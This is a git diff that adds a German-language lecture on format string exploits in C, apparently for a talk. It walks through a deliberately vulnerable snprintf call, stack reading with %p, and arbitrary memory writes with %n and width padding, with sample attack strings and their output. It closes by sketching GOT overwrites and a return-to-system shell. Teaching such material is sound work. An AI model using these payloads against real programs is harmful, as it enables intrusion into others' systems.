diff options
Diffstat (limited to 'stories/poetry/MeinVortrag/Vortrag-FormatStrings')
| -rw-r--r-- | stories/poetry/MeinVortrag/Vortrag-FormatStrings | 367 |
1 files changed, 367 insertions, 0 deletions
diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings new file mode 100644 index 0000000..7d6b591 --- /dev/null +++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings | |||
| @@ -0,0 +1,367 @@ | |||
| 1 | Format String Exploits: | ||
| 2 | |||
| 3 | Heisst grundsaetzlich, die Eigenschaft der | ||
| 4 | f/s(n)printf/scanf - Funktionsfamilie | ||
| 5 | auszunutzen, dass sie eine va_args-liste | ||
| 6 | zum Uebergeben der Parameter und einen | ||
| 7 | String zum Beschreiben der Anzahl und Art | ||
| 8 | der Parameter benutzt. | ||
| 9 | |||
| 10 | syntax: | ||
| 11 | |||
| 12 | printf( char *format, param1, param2, ... ) | ||
| 13 | |||
| 14 | Wenn man einen C-Kurs mitmacht, wird einem | ||
| 15 | vermittelt, dass man in den Formatstring | ||
| 16 | eintragen soll, welche Paramater die printf | ||
| 17 | Funktion bekommen wird und wenn es | ||
| 18 | Inkonsistenzen zwischen dem Formatstring und | ||
| 19 | den Paramtern gibt, stuerzt das Programm ab. | ||
| 20 | Und genau an der Stelle beginnt der spannende | ||
| 21 | Part: wenn ein Programm abstuerzt, | ||
| 22 | wurde sicher Speicher der Applikation ueber- | ||
| 23 | schrieben und Ziel des Spiels ist es nun, zu | ||
| 24 | versuchen, gezielt Speicher mit uns geneigten | ||
| 25 | Werten zu ueberschreiben. Und unter uns: sooo | ||
| 26 | schnell schiesst man ein Programm nicht ab :) | ||
| 27 | Also schauen wir uns mal einen validen Aufruf | ||
| 28 | der Funktion an: | ||
| 29 | |||
| 30 | int main( ) { | ||
| 31 | int a, b; | ||
| 32 | a = 7; | ||
| 33 | b = 9; | ||
| 34 | |||
| 35 | printf( "%d %d\n", a, b ); | ||
| 36 | return 0; | ||
| 37 | } | ||
| 38 | |||
| 39 | In optimiertem Assembler sieht das so aus: | ||
| 40 | |||
| 41 | .LC0: | ||
| 42 | .string "%d %d\n" | ||
| 43 | main: | ||
| 44 | [ ... ] | ||
| 45 | pushl $9 | ||
| 46 | pushl $7 | ||
| 47 | pushl $.LC0 | ||
| 48 | call printf | ||
| 49 | [ ... ] | ||
| 50 | |||
| 51 | Dort steht, dass erst b und a auf den Stack | ||
| 52 | geschoben werden, danach die Adresse des | ||
| 53 | Formatstrings und schliesslich printf aufgerufen | ||
| 54 | wird. | ||
| 55 | |||
| 56 | In C ist es generell nicht der Fall, dass | ||
| 57 | Funktionen ueber die Parameter informiert werden, | ||
| 58 | die sie auf dem Stack erhalten, das geben sie | ||
| 59 | naemlich beim Compilen an und erwarten dann auf | ||
| 60 | dem Stack auch genau diese Parameter vorzufinden. | ||
| 61 | |||
| 62 | Einzige Ausnahme bildet ein Konstrukt namens | ||
| 63 | va. Das bedeutet "Varibale Argumentenliste". Die | ||
| 64 | Funktion printf arbeitet dann auch wie folgt: | ||
| 65 | |||
| 66 | int printing( const char *fmt, ...) { | ||
| 67 | va_list ap; | ||
| 68 | char output[1024]; | ||
| 69 | |||
| 70 | va_start(ap, fmt); | ||
| 71 | |||
| 72 | while( *fmt ) { | ||
| 73 | if( *fmt != '%' ) { | ||
| 74 | putc( *fmt++ ); | ||
| 75 | } else { /* Parameter substituieren */ | ||
| 76 | switch( *++fmt ) { | ||
| 77 | case 'd': | ||
| 78 | int a = va_arg( ap, int ); | ||
| 79 | /* Zahl a ausgeben */ | ||
| 80 | break; | ||
| 81 | case 's': | ||
| 82 | char *s = va_arg( ap, char *); | ||
| 83 | /* String ausgeben */ | ||
| 84 | .... | ||
| 85 | } | ||
| 86 | } | ||
| 87 | |||
| 88 | va_end(ap); | ||
| 89 | } | ||
| 90 | |||
| 91 | Hinter der ganzen vargs Magie verbergen sich aber | ||
| 92 | nur diese drei (jetzt mal von mir leicht | ||
| 93 | vereinfachten) Makros: | ||
| 94 | |||
| 95 | #define va_start(ap, var) ((ap) = (va_list)&var) | ||
| 96 | |||
| 97 | #define va_arg(ap, type) *(((type *)ap++)) | ||
| 98 | |||
| 99 | #define va_end(ap) | ||
| 100 | |||
| 101 | In Wirklichkeit wird da noch ein wenig am Alignment | ||
| 102 | der Variablen geschraubt, aber im Groben stellt dies | ||
| 103 | schon dar, wie variable Argumentlisten behandelt | ||
| 104 | werden: printf holt einfach vom Stack ab, egal, ob da | ||
| 105 | was drauf steht, oder nicht. | ||
| 106 | |||
| 107 | Was drauf stehen tut aber immer, naemlich Ruecksprung- | ||
| 108 | adressen und der Stack der aufrufenden Funktionen. | ||
| 109 | Und das koennen wir uns mal angucken: | ||
| 110 | |||
| 111 | int main( ) { | ||
| 112 | int a = 0x23232323; | ||
| 113 | |||
| 114 | printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); | ||
| 115 | return 0; | ||
| 116 | } | ||
| 117 | Liefert einen output von: | ||
| 118 | |||
| 119 | 0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 | ||
| 120 | |||
| 121 | Und gugge da: wir erkennen doch da glatt unser | ||
| 122 | nicht ganz zufaellig gewaehltes a wieder. | ||
| 123 | |||
| 124 | %p ist der Bezeichner fuer einen ganz normalen | ||
| 125 | pointer, also 4 bytes, die vom Stack geholt | ||
| 126 | und in der 0xn Notation angezeigt werden. | ||
| 127 | |||
| 128 | Aber printf kann mehr: | ||
| 129 | |||
| 130 | int a; | ||
| 131 | |||
| 132 | printf ( "Ich bin 23 Zeichen lang%n\n", &a); | ||
| 133 | printf ( "Und printf hat's gezaehlt: %d", a); | ||
| 134 | |||
| 135 | Liefert als Ausgabe: | ||
| 136 | |||
| 137 | Ich bin 23 Zeichen lang | ||
| 138 | Und printf hat's gezaehlt: 23 | ||
| 139 | |||
| 140 | Was ist passiert? Printf erwartet bei einem %n, dass | ||
| 141 | auf dem Stack der Zeiger auf ein int liegt, in das | ||
| 142 | er die Anzahl der in diesem Funktionsaufruf | ||
| 143 | ausgegebnen Zeichen schreibt. Nicht auszumalen, was | ||
| 144 | passiert, wenn auf dem Stack gar keine solide Adresse | ||
| 145 | liegt :) | ||
| 146 | |||
| 147 | Printf bietet uns also einen ganz soliden Weg, den | ||
| 148 | Stack zu inspizieren und aktiv Speicher zu veraendern. | ||
| 149 | Bliebe die Frage, warum sollte uns ein Programm den | ||
| 150 | Weg ebnen, den Formatstring selbst zu waehlen. Da gibt | ||
| 151 | es zwei Erklaerungen: | ||
| 152 | 1. bieten einige Programme fuer formatierte Textausgabe | ||
| 153 | dem Benutzer an, selber Formatstrings anzugeben. | ||
| 154 | Dies ist aber nicht so spannend, da der String | ||
| 155 | meist sehr genau geprueft wird, allerdings gibt es | ||
| 156 | einen exploit fuer den Mail-Reader mutt, der genau | ||
| 157 | ueber einen solchen Formatierungsstring anfaellig | ||
| 158 | war | ||
| 159 | 2. Ist es dem printf egal, ob man ihm nun wirklich einen | ||
| 160 | Zeiger auf den Formatstring gegeben hat, oder den | ||
| 161 | Zeiger auf IRGENDEINEN String, der ausgegeben werden | ||
| 162 | soll. Typischer BASIC Programmierstil ist: | ||
| 163 | |||
| 164 | A = "Hallo" | ||
| 165 | PRINT A | ||
| 166 | |||
| 167 | in C: | ||
| 168 | |||
| 169 | char *a = "Hallo"; | ||
| 170 | printf( a ); | ||
| 171 | |||
| 172 | funktioniert auch hervorragend, solange der String | ||
| 173 | a keine printf - control characters, naemlich "%"'s | ||
| 174 | enthaelt. | ||
| 175 | |||
| 176 | Genug der Theorie, in der Praxis sieht sowas dann ganz | ||
| 177 | schlicht so aus: | ||
| 178 | |||
| 179 | int main( int argc, char **argv ) { | ||
| 180 | char buffer[ 256 ]; | ||
| 181 | |||
| 182 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
| 183 | |||
| 184 | return 0; | ||
| 185 | } | ||
| 186 | |||
| 187 | Man beachte, dass der Programmierer sich grosse Muehe | ||
| 188 | gegeben hat, buffer-overflows zu vermeiden, indem er | ||
| 189 | sichere Variante von sprintf, das snprintf benutzt hat, | ||
| 190 | damit auch wirklich maximal 32 bytes in den Buffer | ||
| 191 | gelangen. Allerdings hat er beim String, der geschrieben | ||
| 192 | werden soll, geschlampt: die Zeile muesste richtig lauten | ||
| 193 | |||
| 194 | snprintf( buffer, sizeof buffer, "%s", argv[1] ); | ||
| 195 | |||
| 196 | Nun, was tut dieses Funktion? Schreibt in den Buffer mit | ||
| 197 | maximal 32 Zeichen den String argv[1], also das erste | ||
| 198 | Kommandozeilenargument der Funktion. Aber tut es das auch | ||
| 199 | wirklich? Nur, wie gesagt, solange im String keine '%' | ||
| 200 | stehen, aber solche Zeichen in die Kommandozeile einzu- | ||
| 201 | tippern kriegen wir doch noch hin :) | ||
| 202 | |||
| 203 | Es gibt noch das kleine Problem, dass der Printf halt in | ||
| 204 | einen Buffer und nicht auf den Screen schreibt, das laesst | ||
| 205 | sich aber leicht loesen, indem wir entweder einen Debugger | ||
| 206 | benutzen, um den Inhalt des Buffers auszulesen, oder ein- | ||
| 207 | fach wieder printf dafuer benutzen, sieht dann so aus: | ||
| 208 | |||
| 209 | int main( int argc, char **argv ) { | ||
| 210 | int test = 0x23232323; | ||
| 211 | char buffer[ 256 ]; | ||
| 212 | |||
| 213 | printf( "test auf: %p\n", &test ); | ||
| 214 | printf( "test enthaelt: %x\n\n", test); | ||
| 215 | |||
| 216 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
| 217 | |||
| 218 | printf( "%s\n", buffer); | ||
| 219 | printf( "test enthaelt: %x\n\n", test); | ||
| 220 | |||
| 221 | return 0; | ||
| 222 | } | ||
| 223 | |||
| 224 | Ich habe nun noch eine Variable eingefuegt, an der wir | ||
| 225 | ein wenig rumspielen wollen: Dessen Adresse wuerde man | ||
| 226 | wieder mit einem debugger herausfinden, hier benutz ich | ||
| 227 | printf, auch den aktuellen Wert geb ich einmal vor und | ||
| 228 | einmal nach der "Attacke" aus. | ||
| 229 | Das compilete Programm wirft mir folgendes raus: | ||
| 230 | |||
| 231 | # ./vuln Probierung | ||
| 232 | test auf: 0xbfbff6d4 | ||
| 233 | test enthaelt: 0x23232323 | ||
| 234 | |||
| 235 | Probierung | ||
| 236 | test enthaelt: 0x23232323 | ||
| 237 | |||
| 238 | Nuescht besonderes. Probieren wir nun mal ein bisschen | ||
| 239 | mit den Formatstrings rum: | ||
| 240 | |||
| 241 | # ./vuln "AAAA%p %p %p %p %p %p %p %p %p" | ||
| 242 | test auf: 0xbfbff6c0 | ||
| 243 | test enthaelt: 0x23232323 | ||
| 244 | |||
| 245 | AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666 | ||
| 246 | test enthaelt: 0x23232323 | ||
| 247 | |||
| 248 | Als erstes sehen wir, dass sich die Adressse von test | ||
| 249 | (das sich ja im Stack befindet) variiert. Das liegt | ||
| 250 | daran, dass die Kommandozeilenparameter im Stack abgelegt | ||
| 251 | werden. Wir koennen aber mit Anfuerungszeichen und vielen | ||
| 252 | Spaces ueber die gesamte Testphase fuer einen konstanten | ||
| 253 | offset sorgen. | ||
| 254 | Zweitens liegt, wie eben erwaehnt, auch der Format-String | ||
| 255 | nocheinmal im Stack weiter oben rum, die 0x41414141 sind | ||
| 256 | unsere AAAA in der Kommandozeile. | ||
| 257 | |||
| 258 | Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin | ||
| 259 | entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer | ||
| 260 | weniger und tun dafuer ein %n hin: | ||
| 261 | |||
| 262 | # ./test "AAAA%p %p %p %p %p %p%n %p %p" | ||
| 263 | test auf: 0xbfbff6c0 | ||
| 264 | test enthaelt: 0x23232323 | ||
| 265 | |||
| 266 | Segmentation fault (core dumped) | ||
| 267 | |||
| 268 | Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt | ||
| 269 | nicht mit den Formatstrings rum. Aber was genau hab ich jetzt | ||
| 270 | kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n | ||
| 271 | vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau | ||
| 272 | bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als | ||
| 273 | naechstes 0x41414141. Und dieser Wert wird ja nun bei einem | ||
| 274 | %n als Adresse einer int interpretiert, an die der aktuelle | ||
| 275 | Character-Count geschrieben werden soll. Und an 0x41414141 | ||
| 276 | befindet sich kein lesbarer Speicher. Also kein Geheimnis. | ||
| 277 | Aber wer jetzt einen Exploit entdeckt hat, soll sich mal | ||
| 278 | melden. Genau... die 0x41414141 kommt ja direkt aus unserem | ||
| 279 | Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege | ||
| 280 | da jetzt naeher, dort mal eine valide Adresse hinzuschreiben? | ||
| 281 | Wir haetten da sogar noch eine ueber: | ||
| 282 | 0xbfbff6c0 | ||
| 283 | Da liegt naemlich die Variable test und es ist sogar eine int. | ||
| 284 | Als String sieht die Adresse so aus: Àö¿¿ | ||
| 285 | Ungewoehnlich, aber wat solls, solange kein % und kein \000 | ||
| 286 | dabei ist, soll uns das nicht stoeren :) | ||
| 287 | Wir probieren das einfach mal aus: | ||
| 288 | |||
| 289 | # ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p" | ||
| 290 | test auf: 0xbfbff6c0 | ||
| 291 | test enthaelt: 0x2323232323 | ||
| 292 | |||
| 293 | Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666 | ||
| 294 | test enthaelt: 0x42 | ||
| 295 | |||
| 296 | An der Stelle, wo da zwei Leerzeichen hintereinander sind, | ||
| 297 | wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt | ||
| 298 | 0x42. | ||
| 299 | |||
| 300 | Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum | ||
| 301 | Doppelleerzeichen 66 ausgegebene Characters. | ||
| 302 | |||
| 303 | Wir haben es also geschafft, an eine beliebige Adresse einen | ||
| 304 | leider noch einigermassen zufaelligen Wert zu schreiben, das | ||
| 305 | soll sich jetzt aendern. Was wir brauchen, ist eine wohl- | ||
| 306 | bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden. | ||
| 307 | Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen, | ||
| 308 | damit wir mit ihnen rechnen koennen. Dat jeht so: | ||
| 309 | |||
| 310 | # ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p " | ||
| 311 | test auf: 0xbfbff6c0 | ||
| 312 | test enthaelt: 0x23232323 | ||
| 313 | |||
| 314 | Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666 | ||
| 315 | test enthaelt: 0x3D | ||
| 316 | |||
| 317 | und mit der letzten koennen wir noch ein wenig spielen: | ||
| 318 | |||
| 319 | ./test "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n " | ||
| 320 | test auf: 0xbfbff6b0 | ||
| 321 | test enthaelt: 0x23232323 | ||
| 322 | |||
| 323 | °ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337 | ||
| 324 | test enthaelt: 0x42424242 | ||
| 325 | |||
| 326 | Ich musste fuer die grossen Zahlen leider noch ein wenig an der | ||
| 327 | Adresse von test rumspielen, aber im Prinzip ist zu erkennen, | ||
| 328 | dass ich an jede Adresse jeden Wert schreiben kann. Was habe | ||
| 329 | ich getan? Man kann fuer Zahlenkonvertierungen in printf eine | ||
| 330 | width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt | ||
| 331 | wird, wenn die Zahl nicht breit genug wird. Und das koennen nu | ||
| 332 | auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man | ||
| 333 | auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn | ||
| 334 | man mal eine valide Adresse wohin schreiben will. Und netterweise | ||
| 335 | liefert printf nun auch nicht die Zahl der geschriebenen Zeichen, | ||
| 336 | sondern die der "theoretisch" geschriebenen in %n zurueck, was | ||
| 337 | dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen... | ||
| 338 | |||
| 339 | Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen, | ||
| 340 | man uebergibt diesen einfach mit im Formatstring und kann die | ||
| 341 | Einsprungadresse punktgenau auf den Stack werfen. Waere aber | ||
| 342 | eigentlich eine Schande, denn Formatstringexploits sind so fili- | ||
| 343 | gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen | ||
| 344 | return adressen eigentlich nur raten. | ||
| 345 | |||
| 346 | Viel eleganter ist es, die GOT des binaries zu veraendern. | ||
| 347 | Dies ist die global object table, und dort hinein kommen fuer | ||
| 348 | alle Funktionen, die aus Libraries eingebunden werden, die | ||
| 349 | Adressen. Der Vorteil ist, dass bei fast allen Standard- | ||
| 350 | anwendungen die GOT ungefaehr gleich aussieht. Wenn man die | ||
| 351 | Adresse des fopen-calls einfach mit der des system-calls ueber- | ||
| 352 | schreibt, koennte man einen Teil des formatstrings glatt von | ||
| 353 | einer Shell interpretieren lassen. | ||
| 354 | |||
| 355 | Dies ist insoweit im Moment spannend, da ernsthaft damit ange- | ||
| 356 | fangen wird, den Stack non-executable zu mappen und damit buffer | ||
| 357 | overflows und darin befindlicher Shellcode zu verhindern. | ||
| 358 | |||
| 359 | Dies liesse noch Spielraum fuer eine weitere Option, naemlich | ||
| 360 | die Ruecksprungadresse der printf-aufrufenden Funktion zu | ||
| 361 | ueberschreiben und zwar mit der Einsprungadresse von system, | ||
| 362 | wenn man davor eine Adresse irgendwo im eigenen Formatstring | ||
| 363 | hinpackt, kann man den Formatstring wie folgt gestalten: | ||
| 364 | |||
| 365 | "/../../../../../../../../../bin/sh" | ||
| 366 | |||
| 367 | die ../'s sind naemlich eigentlich auch NOPs. | ||
